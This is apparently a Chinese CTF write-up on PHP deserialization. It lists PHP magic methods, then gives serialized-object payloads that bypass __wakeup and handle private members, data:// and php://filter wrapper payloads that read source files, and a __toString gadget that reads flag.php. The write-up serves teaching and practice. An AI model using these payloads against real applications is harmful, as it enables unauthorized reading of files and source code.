序列化,反序列化之实例

别怕,我一直陪着你

  • 一.知识
    • 1.魔术方法
  • 二.实例
    • 1.绕过__wakeup, private
    • 2.php://filter, data://, __tostring
    • 3.

一.知识

1.魔术方法

__construct() 当一个对象创建时自动调用
__destruct() 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)
__sleep() 使**用serialize()函数时触发
__wakeup 使用unserialse()**函数时会自动调用
__toString 当一个对象被当作一个字符串被调用 一
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据//调用私有属性时使用
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发

二.实例

1.绕过__wakeup, private

①脚本


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}

$a = new Name('admin', 100);
$b = serialize($a);
var_dump($b);
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

②调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过,把Name后面的2改为3或以上即可

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

③因为成员(属性)是private,所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出。

O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

2.php://filter, data://, __tostring

①file_get_contents的作用是将整个文件读入一个字符串

这里将text文件中读取字符串,还要和welcome to the zjctf相等

这里使用的是data://写入协议

?text=data://text/plain,welcome to the zjctf

②源码提示了useless.php这里使用php伪协议来读取文件

php://filter/read=convert.base64-encode/resource=useless.php

③第一个payload

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php 

④脚本


class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){
	      
        if(isset($this->file)){ 
         
            echo file_get_contents($this->file); 
            echo "
"
; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a = new Flag(); echo serialize($a);

⑤第二个payload

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

不加伪协议了, flie还得正确地写

3.

_destruct()方法会把op的值改为1,这里需要绕过一下,在2前面加一个空格即可,op= 2

脚本


class FileHandler {
    public $op = ' 2';
    public $filename = 'flag.php';
    public $content = '';
}
$a = new FileHandler();
echo serialize($a);
?>

你可能感兴趣的:(android,java,开发语言)